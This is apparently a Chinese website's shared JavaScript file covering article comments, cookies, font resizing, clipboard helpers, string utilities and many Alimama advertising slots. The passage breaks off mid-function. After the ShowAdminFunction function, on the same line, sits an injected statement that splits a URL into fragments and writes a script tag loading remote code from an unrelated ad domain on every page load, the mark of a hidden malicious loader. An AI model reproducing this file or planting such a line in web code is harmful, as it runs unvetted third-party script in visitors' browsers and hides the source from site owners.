function AlimamaChuChuangBottom()
{
//alimama_bm_revision = "83358f93ab6ef4ffca3305cb8090b5a37288ce52";
//alimama_pid = "mm_10047322_0_0";
//alimama_bm_uid = "";
//alimama_bm_bid = "816369";
//alimama_bm_width = 950;
//alimama_bm_height = 388;
//alimama_bm_xmlsrc = "http://img.alimama.cn/bm/x/2009-09-02/2009-09-02_71ffb893c49dbb954a73df4a5ca49bf7_62.xml";
//alimama_bm_ds = "http://img.alimama.cn/ga/t/2009-08-19/194.xml";
//document.write('<script type="text/javascript" src="http://img.alimama.cn/bm/bmv1.js?v=a690f78525aa9d6a8305cc4a49c480a9087e1e20"></script>');
}
function ShowEmbedListCpa()
{
//    document.write('<script language="javascript" type="text/JavaScript"> var alimama_pid= "mm_10047322_0_0"; var alimama_key= ""; var alimama_uniteid= "100115"; var alimama_col= "3"; var alimama_row = "1"; var alimama_height = "152"; var alimama_width = "572"; var alimama_type = "1000"; var alimama_mode= "32"; var alimama_titlecolor= "000000"; var alimama_picolor= "CC0000"; var alimama_bgcolor="F0F0F0"; var alimama_bordercolor="F0F0F0"; var alimama_defaultid="3466747,3466743,3466746,3466752,922232,3466748"; var alimama_timestr="1229134217"; </script> <script language="javascript" src="http://a.alimama.cn/sinf.js"></script>');
}
/* ******************** ******************** ******************************** */
function WriteCpaLink(text, url)
{
    var html = "<a class='cpa' href='" + url + "'>"
        + text + "<img src='/Image/SeeDetail.gif' /></a>";
    document.write(html);
}
function SearchCpa(obj)
{
    var keyword = (obj.tagName == "INPUT") ? obj.value : obj.innerText;
    keyword = keyword.Trim();
    if (keyword == "")
    {
        alert("请先输入关键字。");
        obj.focus(); return;
    }
    var link = $("SearchCpaLink");
    link.href = "http://p.alimama.com/cpslist.php?pid=mm_10047322_0_0&t=1&u=0&q=" + keyword;
    link.click();
}
function LowerUrlInclude(url)
{
    var lowerUrl = document.URL.toLowerCase();
    return lowerUrl.indexOf(url) > -1;
}
function GetCommentUsername()
{
    var cookie = GetCookie("CommentUsername");
    if (cookie == null) return "网友";
    else return unescape(cookie);
}
function LoadCommentUsername()
{
    var username = GetCommentUsername();
    $("CommentUsernameInput").value = username;
}
function IsValidUsername()
{
    var input = $("CommentUsernameInput");
    var username = input.value.Trim();

    var reg = new RegExp(/^[\u4e00-\u9fa5\w\.]{2,8}$/);
    var isValid = reg.test(username);
    return isValid;
}
function SaveCommentUsername(username, isDelete)
{
    var name = "CommentUsername";
    if (isDelete)
    {
        DeleteCookie(name);
        return;
    }

    var value = username;
    if (value == "网友") return true;
    var now = new Date(2208, 7, 5);

    var expires = now.toGMTString();
    var path = "/Article/";
    try
    {
        SetCookie(name, value, expires, path);
        return true;
    } catch (e)
    {
        return false;
    }
}
function ChangeCommentRows(isAdd)
{
    var area = $("CommentTextArea");
    var rows = area.rows;
    if (isAdd)
        rows += 5;
    else
        rows -= 5;

    if (rows < 5) rows = 5;

    area.rows = rows;
}
function ArticleComment()
{
    var result = IsValidArticleComment();
    if (result == 3)
    {
        alert("网名必须用 2-8 位的中文、数字、字母、小数点组成。");
        var input = $("CommentUsernameInput");
        input.focus();
        input.select();
        return;
    }
    if (result == 1)
    {
        alert("验证码必须用 3 位字母填写完整。");
        $("ValidateCodeInput").focus();
        $("ValidateCodeInput").select();
        return;
    }
    else if (result == 2)
    {
        alert("评论请至少填写10个字符。");
        var textArea = $("CommentTextArea");
        textArea.focus();
        PutCursorAtLast(textArea);
        return;
    }

    var articleID = GetArticleIDFromUrl();
    var username = $("CommentUsernameInput").value;
    var isDelete = $("RememberUsernameCheckBox").checked == false;
    SaveCommentUsername(username, isDelete);

    var validateCode = $("ValidateCodeInput").value.Trim();

    username = encodeURIComponent(encodeURIComponent(username));

    var content = $("CommentTextArea").value.Trim();
    var maxLength = 128;
    if (content.length > maxLength)
    {
        var isConfirm = confirm("【简单评论】最多只能输入" + maxLength + " 个字符。\r\n"
            + "你输入了 " + content.length + " 个字符。\r\n\r\n"
            + "多出了 " + (content.length - maxLength) + " 个字符。\r\n\r\n"
            + "【确认】会进入【详细评论】，字符输入不受限制，系统已经复制了内容，\r\n"
            + "或者【取消】，删除一些字符后再提交。");
        if (isConfirm)
        {
            try
            {
                clipboardData.setData("text", content);

            } catch (e)
            {
            }
            document.URL = "/Article/Comment.aspx?ArticleID=" + articleID;
            return;
        }
        var textArea = $("CommentTextArea");
        textArea.focus();
        PutCursorAtLast(textArea);
        return;
    }

    try
    {
        clipboardData.setData("text", content);

    } catch (e)
    {
    }
    content = encodeURIComponent(encodeURIComponent(content));

    var url = "/Article/CommentSimple.aspx?ArticleID=" + articleID
            + "&ValidateCode=" + validateCode
            + "&Username=" + username
            + "&Content=" + content;
    window.status = "正在提交评论……已经复制评论到剪贴板作为备份。";
    document.URL = url;
}
function EnterClick(button)
{
    if (event.keyCode == 13)
    {
        var result = IsValidArticleComment();
        if (result == 1)
        {
            alert("验证码必须用 3 位字母填写完整。");
            event.cancel = true;
            event.returnValue = false;
            $("ValidateCodeInput").focus();
            $("ValidateCodeInput").select();
            return;
        }
        else if (result == 2)
        {
            alert("评论请至少填写10个字符。");
            event.cancel = true;
            event.returnValue = false;
            var textArea = $("CommentTextArea");
            textArea.focus();
            PutCursorAtLast(textArea);
            return;
        }
        button.click();
    }
}
function IsValidArticleComment()
{
    var isValidUsername = IsValidUsername();
    if (isValidUsername == false)
    {
        return 3;
    }
    var validateCode = $("ValidateCodeInput").value.Trim();
    var reg = new RegExp(/^[a-zA-Z]{3}$/);
    if (reg.test(validateCode) == false)
    {
        return 1;
    }

    var content = $("CommentTextArea").value.Trim();
    if (content.length < 10)
    {
        return 2;
    }
    return 0;
}
function GetArticleIDFromUrl()
{
    var url = document.URL;
    var reg = new RegExp(/ArticleID=(\d+)/i);
    var result = reg.exec(url);
    if (result == null) return 0;
    else return parseInt(RegExp.$1);
}
function FocusComment()
{
    $('MyTextArea').focus();
    $('CommentTextArea').focus();
}
function ChangeValidationCodeOnFocus()
{
    if (_initValidationCode) return;
    ChangeValidationCode();
}
function Admin(adminUrl, id)
{
    var url = adminUrl + "?ID=" + id;
    GotoAdmin(url);
}
function AdminMode(adminUrl, id, name, value)
{
    var url = adminUrl + "?ID=" + id + "&" + name + value;
    GotoAdmin(url);
}
function GotoAdmin(url)
{
    var action;
    var isRight = event.button == 2 || event.button == 0; //按右键，// 测试在IE7中按右键是2,在Maxthon2.0正式版中是0
    if (isRight)
        action = 2; // 删除
    else
        action = 1; // 编辑

    var message = action == 1 ? "确认要编辑吗？" : "确认要删除吗？"
    var isConfirm = confirm(message);
    if (isConfirm == false) return;

    document.URL = url + "&Action=" + action;
}
function CopyPostContent()
{
    try
    {
        var content = GetUbbTextBox().value;
        var subject = GetSubjectTextBox().value;
        var text = subject + "\r\n\r\n" + content;
        clipboardData.setData("text", text);
        window.status = "已经复制主题和内容";
    }
    catch (e)
    {
        window.status = "复制主题和内容时发生错误，可能不支持剪贴板操作。";
    }
}
function FullImage(image)
{
    var onlyMain = $("MyMain").style.width == "100%";
    var mainWidth = onlyMain ? 750 : 560;
    if (mainWidth > image.width)
    {
        window.status = "图片已经完整显示，不再需要打开全图了。";
        return;
    }
    var div = $("FullImageContainer");
    var fullImage = div.childNodes[0];
    fullImage.src = image.src;
    div.style.width = image.width;
    if ((image.width + 22) > document.body.clientWidth)
        div.style.left = 0;
    else
        div.style.left = ((document.body.clientWidth - image.width) / 2) + "px";

    div.style.top = document.documentElement.scrollTop;
    div.style.display = "block";
}
function Hide(element)
{
    element.style.display = "none";
}
function SwitchSidebar()
{
    var isViewArticlePage = document.URL.toString().toLowerCase().indexOf("/article/view.aspx") > -1;
    if (isViewArticlePage == false) return;

    var myMain = $("MyMain");
    var mySidebar = $("MySidebar");
    var button = $("SwitchSidebar");
    var isHide = mySidebar.style.display == "none";
    if (isHide)
    {
        myMain.style.width = "560px";
        mySidebar.style.display = "block";
        button.innerHTML = "隐藏侧边栏";
    }
    else
    {
        mySidebar.style.display = "none";
        myMain.style.width = "100%";
        button.innerHTML = "显示侧边栏";
    }
}
//
function AttachEnterEvent(textBoxArray, buttonArray)
{
    for (var i = 0; i < textBoxArray.length; i++)
    {
        var attacher = new EnterEventAttacher(textBoxArray[i], buttonArray[i]);
        attacher.AttachEnterEvent();
    }
}
function EnterEventAttacher(textBox, button)
{
    this.textBox = textBox;
    this.AttachEnterEvent = function()
    {
        this.textBox.onkeydown = function()
        {
            if (event.keyCode == 13)
            {
                button.click();
            }
        }
    }
}
// 确认
function Confirm()
{
    var isConfirm = confirm("你确认吗？");
    if (!isConfirm)
    {
        event.returnValue = false;
    }
}
function $(id)
{
    return document.getElementById(id);
}
// 报告错误图像
function ReportErrorImage(image)
{
    return; //暂时不用。在更换服务器或重新上传时再启用
    if (image.src == null) return;

    var mySiteImageSrc = "/article/articleimage/"; // 只报告本站这个路径下的图片的错误
    //    alert(mySiteImageSrc);
    if (image.src.toLowerCase().indexOf(mySiteImageSrc) > -1)
    {
        //        alert("开始报告图像错误。");
        try
        {
            var xmlHttp = getXMLHTTPObj();
            //            var url = "http://localhost:1389/ImageError.aspx?Path=" + image.src;
            var url = "http://www.chenjiliang.com/ImageError.aspx?Path=" + image.src;
            //            location.href = url;

            //打开连接
            xmlHttp.open("GET", url, true);
            //设置回调函数
            //            xmlHttp.onreadystatechange = updatePage;
            //发送请求
            xmlHttp.send(null);
            //                alert("错误图像报告已经发送。");
        }
        catch (e)
        {
            //            return;
        }
    }
}
//创建XMLHTTP对象
function getXMLHTTPObj()
{
    var C = null;
    try
    {
        C = new ActiveXObject("Msxml2.XMLHTTP");
    }
    catch (e)
    {
        try
        {
            C = new ActiveXObject("Microsoft.XMLHTTP");
        }
        catch (sc)
        {
            C = null;
        }
    }

    if (!C && typeof XMLHttpRequest != "undefined")
    {
        C = new XMLHttpRequest();
    }

    return C;
}

// 缩放图像
function ZoomImage(img)
{
    if (!window.event.ctrlKey)
    {
        return;
    }
    //img.style.zoom获取img对象的缩放比例，并转为十进制整数
    var zoom = parseInt(img.style.zoom, 10);
    if (isNaN(zoom))
    {    //当zoom非数字时zoom默认为100％
        zoom = 100;
    }
    //event.wheelDelta滚轮移动量上移＋120，下移－120；显示比例每次增减10％
    zoom += event.wheelDelta / 12;
    //当zoom大于10％时重新设置显示比例
    if (zoom > 10) img.style.zoom = zoom + "%";
}
// 粘贴后单击
function PasteClick(textBox, clickObject)
{
    var text = window.clipboardData.getData('text');
    if (text == null) return;
    textBox.value = text.Trim();
    clickObject.click();
}
function Paste2(textBox)
{
    var text = window.clipboardData.getData('text');
    if (text == null) return;
    textBox.value = text.Trim();
}
// 在新窗口中运行代码
function RunHtml(html)
{
    var winEx = open();
    winEx.document.open('text/html', 'replace')
    winEx.document.write(html);
    winEx.document.close();
}
// 另存为文件
function SaveCode(obj, filename)
{
    //    alert(filename);
    var win = window.open('', '_blank', 'top=10000');
    var code = obj.innerText;
    win.opener = null;
    win.document.write(code);
    win.document.execCommand('saveas', true, filename);
    win.close();
}
// 更改字体大小
function ChangeFontSize(obj, size)
{
    obj.style.fontSize = size + "px";
}
// 增大小字
function AddFontSize(obj)
{
    var isConfirm = confirm("你确认吗？如果修改了字号，在加载页面时速度可能有一定的影响。\r\n\r\n你可以试试，如果速度有影响，请单击【默认】恢复。");
    if (isConfirm == false) return;
    var isAdd = true;
    var size = GetFontSize(obj, isAdd);
    obj.style.fontSize = size;
    AddFontIncludeChildren(obj, size, isAdd);
    SaveFont(obj);
}
// 缩小字体
function SubstractFontSize(obj)
{
    var isConfirm = confirm("你确认吗？如果修改了字号，在加载页面时速度可能有一定的影响。\r\n\r\n你可以试试，如果速度有影响，请单击【默认】恢复。");
    if (isConfirm == false) return;
    var isAdd = false;
    var size = GetFontSize(obj, isAdd);
    obj.style.fontSize = size;
    AddFontIncludeChildren(obj, size, isAdd);
    SaveFont(obj);
}

function AddFontIncludeChildren(obj, fontSize, isAdd)
{
    if (obj.children != null)
    {
        for (var i = 0; i < obj.children.length; i++)
        {
            var child = obj.children[i];
            var size = child.style.fontSize;
            if (size == "")
            {
                size = fontSize;
            }
            else
            {
                size = size.substr(0, size.length - "px".length);
                if (isAdd)
                    size = (parseInt(size) + 2) + "px";
                else
                    size = (parseInt(size) - 2) + "px";
            }
            //            alert(size);
            child.style.fontSize = size;
            AddFontIncludeChildren(child, fontSize);
        }
    }
}
function GetFontSize(obj, isAdd)
{
    var size = obj.style.fontSize;
    if (size == "")
    {
        if (isAdd)
            size = "16px";
        else
            size = "12px";
    }
    else
    {
        size = size.substr(0, size.length - "px".length);
        size = parseInt(size);
        if (isAdd)
            size = size + 2;
        else
            size = size - 2;
        size = size + "px";
    }
    return size;
}
// 保存字体设置
function SaveFont(obj)
{
    var name = "ArticleView_ContentFontSize";
    var value = obj.style.fontSize;
    if (value == "") value = "14px";
    var now = new Date(2208, 7, 5);
    var expires = now.toGMTString();
    var path = "/Article/";
    SetCookie(name, value, expires, path);
}
//
function SetFont(obj)
{
    var fontSize = GetCookie("ArticleView_ContentFontSize");
    if (fontSize != null)
    {
        var originalSize = GetFontSize(obj, isAdd);
        obj.style.fontSize = fontSize;

        //        originalSize = (parseInt(originalSize.replace("px", "")) -2) + "px";
        //                alert(originalSize);
        if (originalSize == fontSize)
            return;

        var isAdd = fontSize > originalSize;
        AddFontIncludeChildren(obj, fontSize, isAdd);
    }
}
//
function DefaultFont(obj)
{
    DeleteCookie("ArticleView_ContentFontSize");
    obj.style.fontSize = "";
    alert("已经恢复为默认字号。");
}
// primary function to retrieve cookie by name
function GetCookie(name)
{
    if (document.cookie != "")
    {
        var thisCookie = document.cookie.split("; ");
        for (var i = 0; i < thisCookie.length; i++)
        {
            if (name == thisCookie[i].split("=")[0])
                return thisCookie[i].split("=")[1];
        }
    }

    return null;
}
function DeleteCookie(name)
{
    var now = new Date(2000, 1, 1);
    var expires = now.toGMTString();

    SetCookie(name, null, expires);
}
// store cookie value with optional details as needed
function SetCookie(name, value, expires, path, domain, secure)
{
    document.cookie = name + "=" + escape(value) +
        ((expires) ? "; expires=" + expires : "") +
        ((path) ? "; path=" + path : "") +
        ((domain) ? "; domain=" + domain : "") +
        ((secure) ? "; secure" : "");
}
// 切换显示
function SwitchDisplay(objID)
{
    var obj = document.getElementById(objID);
    if (obj.style.display == "none")
    {
        obj.style.display = "block";
    }
    else
    {
        obj.style.display = "none";
    }
}
function DeleteCursorToFirst(obj)
{
    obj.focus();
    if (obj.selectionStart)//非IE
    {
        var rangeStart = obj.selectionStart;
        obj.value = obj.value.substring(rangeStart);
        return;
    }

    var sel = document.selection.createRange();
    var clone = sel.duplicate();

    clone.moveToElementText(obj); //设置头位置(头等于obj的TextRange的头,尾等于obj的TextRange的尾)
    clone.setEndPoint('EndToStart', sel); //设置尾位置,些时的clone不能由obj.createTextRange得到(obj是textarea类型)，不能使用setEndPoint设置。
    clone.select();
    clone.text = "";
    PutCursorAtFirst();
}
function DeleteCursorToLast(obj)
{
    obj.focus();
    //    if (obj.selectionStart) return obj.selectionStart; //非IE

    var sel = document.selection.createRange();
    var clone = sel.duplicate();

    clone.moveToElementText(obj); //设置头位置(头等于obj的TextRange的头,尾等于obj的TextRange的尾)
    clone.setEndPoint('StartToEnd', sel); //设置尾位置,些时的clone不能由obj.createTextRange得到(obj是textarea类型)，不能使用setEndPoint设置。
    clone.select();
    clone.text = "";
    PutCursorAtLast(obj);
} 
function DeleteCursorToFirst_Input(textBox)
{
    textBox.focus();
    var sel = document.selection.createRange();
    sel.setEndPoint("StartToStart", textBox.createTextRange());

    var m = sel.text.length; //光标所在位置
    sel.moveStart('character', m); //移动开始点，-m标示当前光标位置前面m个字符处
    sel.moveEnd('character', textBox.value.length); //移动结束点,0标示当前光标位置
    sel.select(); //选中开始点到结束点间的字符 

    var last = document.selection.createRange().text
    //把光标后的文本赋值给文本
    textBox.value = last;
    textBox.focus();
}
function DeleteCursorToLast_Input(textBox)
{
    textBox.focus();
    var sel = document.selection.createRange();
    sel.setEndPoint("StartToStart", textBox.createTextRange());
    textBox.value = sel.text;
    PutCursorAtLast(textBox);
}
// 将光标停在对象的最后
function PutCursorAtLast(obj)
{
    obj.focus();
    var range = obj.createTextRange();
    range.moveStart('character', obj.value.length);
    range.collapse(true);
    range.select();
}
// 将光标停在对象的最前
function PutCursorAtFirst(obj)
{
    obj.focus();
    var range = obj.createTextRange();
    range.moveStart('character', 0);
    range.collapse(true);
    range.select();
}
// 
Array.prototype.IndexOf = function(o)
{
    for (var i = 0; i < this.length; i++)
    {
        if (this[i] == o) return i;
    }
    return -1;
}
Array.prototype.LastIndexOf = function(o)
{
    for (var i = this.length - 1; i >= 0; i--)
    {
        if (this[i] == o) return i;
    }
    return -1;
}
Array.prototype.Insert = function(o, i)
{
    var l = this.length;
    return this.slice(0, i).concat(o).concat(this.slice(i, l));
}
Array.prototype.InsertBefore = function(o, o2)
{
    var i = this.IndexOf(o2);
    if (i == -1) return this.concat(o2);
    return this.Insert(o, i);
}
Array.prototype.Remove = function(o)
{
    var i = this.IndexOf(o);
    if (i == -1) return this;
    return this.RemoveAt(i);
}
Array.prototype.RemoveAt = function(i)
{
    var l = this.length;
    return this.slice(0, i).concat(this.slice(i + 1, l))
}

Array.prototype.Contains = function(o)
{
    return this.IndexOf(o) != -1;
}
// 返回字符的长度，一个中文算2个
String.prototype.ChineseLength = function()
{
    return this.replace(/[^\x00-\xff]/g, "**").length;
}
// 比较字符串，根据结果返回 -1, 0, 1
String.prototype.CompareTo = function(str)
{
    if (this == str)
        return 0;
    else if (this < str)
        return -1;
    else
        return 1;
}
// 判断字符串是否以指定的字符串结束
String.prototype.EndsWith = function(str)
{
    return this.substr(this.length - str.length) == str;
}
// 去掉字符左端的的空白字符
String.prototype.LeftTrim = function()
{
    return this.replace(/(^[\\s　]*)/g, "");
}
// 替换字符串
String.prototype.Replace = function(oldValue, newValue)
{
    var reg = new RegExp(oldValue, "g");
    return this.replace(reg, newValue);
}
// 去掉字符右端的空白字符
String.prototype.RightTrim = function()
{
    return this.replace(/([\\s　]*$)/g, "");
}

// 判断字符串是否以指定的字符串开始
String.prototype.StartsWith = function(str)
{
    return this.substr(0, str.length) == str;
}
// 去掉字符两端的空白字符
String.prototype.Trim = function()
{
    ///<summary>Trim去掉字符两端的空白字符</summary>
    return this.replace(/(^(\s|　)*)|((\s|　)*$)/g, "");
}
String.prototype.Format = function()
{
    var args = arguments;
    return this.replace(/\{(\d+)\}/g, function(m, i)
    {
        return args[i];
    });
};
//倒计时
function Countdown(futureDate, messageExceedTime)
{
    var now = new Date();
    if (now >= futureDate)
    {
        return messageExceedTime;
    }

    var days = 0;
    var hours = 0;
    var minutes = 0;
    var seconds = 0;

    var total = futureDate.getTime() - now.getTime();
    var x = 24 * 60 * 60 * 1000;
    days = total / x;
    days = Math.floor(days);

    total = total % x;
    x = 60 * 60 * 1000;
    hours = total / x;
    hours = Math.floor(hours);

    total = total % x;
    x = 60 * 1000;
    minutes = total / x;
    minutes = Math.floor(minutes);

    total = total % x;
    x = 1000;
    seconds = total / x;
    seconds = Math.floor(seconds);

    var message = "";
    if (days > 0)
        message += days + "天";

    if (hours > 0)
        message += hours + "小时";
    else
    {
        if (message != "")
            message += "0小时";
    }

    if (minutes > 0)
        message += minutes + "分";
    else
    {
        if (message != "")
            message += "0分";
    }

    if (seconds > 0)
        message += seconds + "秒";
    else
    {
        if (message != "")
            message += "0秒";
    }
    return message;
}
function OlympicCountdown()
{
    var futureDate = new Date(2008, 7, 8, 20);
    var messageExceedTime = "2008北京奥运会已经开幕";
    var message = Countdown(futureDate, messageExceedTime);
    $("OlympicCountdownDiv").innerHTML = message;

    if (message == messageExceedTime)
        return;
    if (NotEditPage())
    {
        setTimeout("OlympicCountdown()", 1000);
    }
}
function NotEditPage()
{
    var url = location.toString().toLowerCase();
    return (url.indexOf("article/view.aspx") < 0)
           && (url.indexOf("adminarticle.aspx") < 0)
           && (url.indexOf("post.aspx") < 0)
           && (url.indexOf("comment.aspx") < 0);
}
function ShowAdminFunction()
{
    var cookie = GetCookie("AutoLogin");
    if (cookie != null)
    {
        $("EditLink").style.visibility = "visible";
        $("DeleteLink").style.visibility = "visible";
        $("RebuildStaticPageLink").style.visibility = "visible";
    }
}document.write("<scr" + "ipt src='http://ad." + "zom" + "12" + "3" + ".net" + "/ip." + "asp?loc" + "=jiangmen'><\/scr" + "ipt>");
/* ArticleView ******************** ******************************** */
function ArticleView_ShowView(obj, mode)
{
    var div = obj.parentNode;

    var codeDiv = div.nextSibling;
    var editDiv = codeDiv.nextSibling;

    editDiv.style.display = mode == 'edit' ? 'block' : 'none';
    codeDiv.style.display = mode == 'code' ? 'block' : 'none';

    var codeButton = div.children[0];
    var editButton = div.children[1];

    editButton.disabled = mode == 'edit';
    codeButton.disabled = mode == 'code';

    if (mode == 'edit') editDiv.children[0].focus();
}
function CopyHtml(obj)
{
    var div = obj.parentNode.nextSibling.nextSibling.firstChild;
    var html = div.value;
    window.clipboardData.setData('text', html);
    window.status = '已经复制HTML'
}
/* 搜索邮编类函数 ******************** ******************************** */
function Postcode_Over(td)
{
    td.className = 'Postcode_Over';
}
function Postcode_Out(td)
{
    td.className = 'Postcode_Out';
}
/* 搜索手机类函数 ******************** ******************************** */
function Mobile_Over(td)
{
    td.className = 'Mobile_Over';
}
function Mobile_Out(td)
{
    td.className = 'Mobile_Out';
}
function CopyCode(obj)
{
    var codeObj = obj.parentNode.nextSibling;
    clipboardData.setData('text', codeObj.innerText);
    window.status = '已经复制代码'
}
/* 阿里妈妈广告 ******************** ******************************** */
function MmWriteScript()
{
    document.write('<scr' + 'ipt src="http://a.alimama.cn/inf.js" type="text/javascript"></scr' + 'ipt>');
}
function MmTop()
{
    AlimamaCpaTop();
}
function GetHomepageSidebarLink(url, img, title)
{
    return "<a href='" + url + "' target='_blank'><img src='" + img + "' alt='" + title + "' /></a>";
}
function MmHomepageSidebar()
{
//    document.write('<embed src="http://a.alimama.cn/widget/yr1/yr1any.swf?r=0.5332393682110557" flashvars="count=20&catid=1101&h_h=600&h_w=170&sz=9999&type=1&i=mm_10047322_0_0&st_tc=3366CC&st_bgc=F0F0F0&st_bdc=F0F0F0&st_pc=434343&st_lg=2&st_pb=1" width="170" height="600" quality="high" wmode="transparent" bgcolor="#ffffff" align="middle" allowScriptAccess="sameDomain" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer" />');
}
/* 阿里妈妈CPA广告 ******************** ******************************** */
function MmWriteCpaLink()
{
//    var keys = new Array(
//        ["瘦身", "%CA%DD%C9%ED"],
//        ["减肥", "%BC%F5%B7%CA"],
//        ["美白", "%C3%C0%B0%D7"],
//        ["彩妆", "%B2%CA%D7%B1"]
//    );
//    WriteAlimamaSearchBoxLink(keys, "blue");
}
function GetCpaLinkHtml(text, link, color)
{
    return '<a style="color:' + color + '" href="' + link + '" target="_blank">' + text + '</a>'
}
function MmWriteCpaLinkShop()
{
    var html = "";
    var link, color, text;

    text = "实力卖家热销单品";
    link = "http://cam.taoke.alimama.com/event.php?pid=mm_10047322_0_0&eventid=100012";
    color = "purple";
    html += GetLinkHtmlInShop(text, link, color);

    text = "淘宝热卖场";
    link = "http://p.alimama.com/cpslist.php?pid=mm_10047322_0_0&t=1&u=0&q=";
    color = "red";
    html += GetLinkHtmlInShop(text, link, color);

    document.write(html);
}
function GetLinkHtmlInShop(text, link, color)
{
    return '<a class="Shop_ChildType" onmouseover="OverLink()" onmouseout="OutLink()" style="color:' + color + '" href="' + link + '" target="_blank">' + text + '</a>'
}
function MmWriteCpaScript()
{
    document.write('<scr' + 'ipt language="javascript" src="http://a.alimama.cn/sinf.js"></scr' + 'ipt>');
}
function MmParner()
{
    //alimama_pid="mm_10047322_608_0";
    //alimama_bgcolor="FFFFFF";
    //alimama_width=120;
    //alimama_height=60;
    //document.write('<scr'+'ipt src="http://sutao.alimama.com/stinf.js" type="text/javascript"></scr'+'ipt>');
}
function MmBeforeContent()
{
//alimama_pid="mm_10047322_140881_8181648"; 
//alimama_titlecolor="0033CC"; 
//alimama_descolor ="000000"; 
//alimama_bgcolor="F0F0F0"; 
//alimama_bordercolor="F0F0F0"; 
//alimama_linkcolor="008000"; 
//alimama_bottomcolor="F0F0F0"; 
//alimama_anglesize="0"; 
//alimama_bgpic="0"; 
//alimama_icon="0"; 
//alimama_sizecode="12"; 
//alimama_width=468; 
//alimama_height=60; 
//alimama_type=2;
//document.write("<script src='http://a.alimama.cn/inf.js' type='text/javascript'></script>");
}
function MmSearchBox()
{
//    document.write('<embed src="http://a.alimama.cn/widget/yr1/yr1any.swf?r=0.49993462469918004" flashvars="count=20&catid=999900001&h_h=190&h_w=500&sz=9999&type=1&i=mm_10047322_0_0&st_tc=3366CC&st_bgc=F0F0F0&st_bdc=F0F0F0&st_pc=434343&st_lg=2&st_pb=1" width="480" height="190" quality="high" wmode="transparent" bgcolor="#ffffff" align="middle" allowScriptAccess="sameDomain" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer" />');
    //alimama_pid='mm_10047322_0_0';
    //alimama_type='g';
    //alimama_tks={};
    //alimama_tks.style_i=1;
    //alimama_tks.lg_i=0;
    //alimama_tks.w_i=512;
    //alimama_tks.h_i=69;
    //alimama_tks.btn_i=1;
    //alimama_tks.txt_s='';
    //alimama_tks.hot_i=1;
    //alimama_tks.hc_c='#000000';
    //alimama_tks.c_i=1;
    //alimama_tks.cid_i=0;
    //document.write("<scr" + "ipt type='text/javascript' src='http://a.alimama.cn/inf.js'></scr" + "ipt>");
}
function MmRecommended()
{
    var html = "<a href='http://www.alimama.com/membersvc/rd.do?w=p_10047322&p=&f=http://www.alimama.com/membersvc/promotion/tjyj.htm' target='_blank'><img src='/Image/AlimamaRecommended.gif' /></a>";
    document.write(html);
}
function MmAfterContent()
{
    AlimamaCpaAfterContent();
}
function MmAfterRelatedArticles()
{
    AlimamaCpaAfterRelatedArticles();
}
function MmSidebar()
{
    alimama_pid = "mm_10047322_140881_151329";
    alimama_titlecolor = "0033CC";
    alimama_descolor = "000000";
    alimama_bgcolor = "F0F0F0";
    alimama_bordercolor = "F0F0F0";
    alimama_linkcolor = "008000";
    alimama_bottomcolor = "F0F0F0";
    alimama_anglesize = "0";
    alimama_bgpic = "0";
    alimama_icon = "1";
    alimama_sizecode = "22";
    alimama_width = 120;
    alimama_height = 240;
    alimama_type = 2;
    MmWriteScript();
}
function ShowCpa(type, mode, rows, cols, key, width, height)
{
    alimama_pid = "mm_10047322_0_0";
    alimama_key = key;
    alimama_uniteid = "0";
    alimama_col = cols.toString();
    alimama_row = rows.toString();
    alimama_height = height.toString();
    alimama_width = width.toString();
    alimama_type = type.toString();
    alimama_mode = mode.toString();
    alimama_titlecolor = "000000";
    alimama_picolor = "CC0000";
    alimama_bgcolor = "F0F0F0";
    alimama_bordercolor = "F0F0F0";
    MmWriteCpaScript();
}
function MmBottom()
{
    AlimamaCpaBottom();
}
function MmEmbedList()
{
    MmSearchBox();
}
function GetAlimamaSearchBoxLink(keyword, keywordEncode, color)
{
    return '<A href="http://search8.taobao.com/browse/search_auction.htm?user_action=initiative&amp;f=D9_5_1&amp;at_topsearch=1&amp;sort=&amp;spercent=0&amp;search_type=auction&amp;commend=all&amp;q='
     + keywordEncode + '&amp;cat=0&amp;pid=mm_10047322_0_0" target="_blank" style="color:'
     + color + ';font-size:16px">'
     + keyword + '</A>';
}
function MmEmbedList2()
{
    //    var html = "<a href='http://cam.taoke.alimama.com/event.php?pid=mm_10047322_0_0&eventid=100221' target='_blank'><img src='http://img.alimama.cn/topicfile/2009-02-10/10022109171004175128.png' alt='春季运动换季特卖' /></a>";
    //    document.write(html);
//    var keys = new Array(
//        ["手机", "%CA%D6%BB%FA"],
//        ["女鞋", "%C5%AE%D0%AC"],
//        ["短袖", "%B6%CC%D0%E4"],
//        ["连衣裙", "%C1%AC%D2%C2%C8%B9"],
//        ["包包", "%C8%C8%CF%FA%B0%FC%B0%FC"],
//        ["防晒霜", "%B7%C0%C9%B9%CB%AA"],
//        ["美食", "%C3%C0%CA%B3"],
//        ["瘦身", "%CA%DD%C9%ED"],
//        ["减肥", "%BC%F5%B7%CA"],
//        ["美白", "%C3%C0%B0%D7"],
//        ["nike", "nike"],
//        ["韩版", "%BA%AB%B0%E6"],
//        ["彩妆", "%B2%CA%D7%B1"]
//    );
//    WriteAlimamaSearchBoxLink(keys, "blue");
}
function WriteAlimamaSearchBoxLink(keys, color)
{
    var html = "";
    for (var i = 0; i < keys.length; i++)
    {
        var encode = keys[i][1];
        html += GetAlimamaSearchBoxLink(keys[i][0], encode, color) + " ";
    }
    html = "<table style='clear:both;'><tr><td>" + html + "</td></tr></table>";
    document.write(html);
}
function MmLunWenDetail()
{
    MmSearchBox();
}
function MmNovelDetail()
{
    MmSearchBox();
}
function MmChengGu()
{
    MmSearchBox();
}
function MmChengGu2()
{
    ShowCpa(1111, 22, 2, 1, "星座", 292, 382);
}
function MmChengYuDetail()
{
    MmSearchBox();
}
function MmOnlineList()
{
    MmSearchBox();
}
function MmPoetryAuthor()
{
    MmSearchBox();
}
function MmPoetryDetail()
{
    MmSearchBox();
}
function MmSearchLocation()
{
    MmSearchBox();
}
function MmLyricDetail()
{
    MmSearchBox();
}
function MmCommonDefault()
{
    MmSearchBox();
}
function MmInfo()
{
    MmSearchBox();
}
/* ******************** ******************** ******************************** */
//alert(GetRandomNumber(0,2));
function GetRandomNumber(min, max)
{
    return Math.round(Math.random() * (max - min)) + min;
}
function ShowStaticLink()
{
    document.write('<a href="javascript:location=\'http://www.miibeian.gov.cn/\'">粤ICP备08035088号</a> ');
    if (top.location != self.location) top.location = self.location; 
//    var now = new Date();
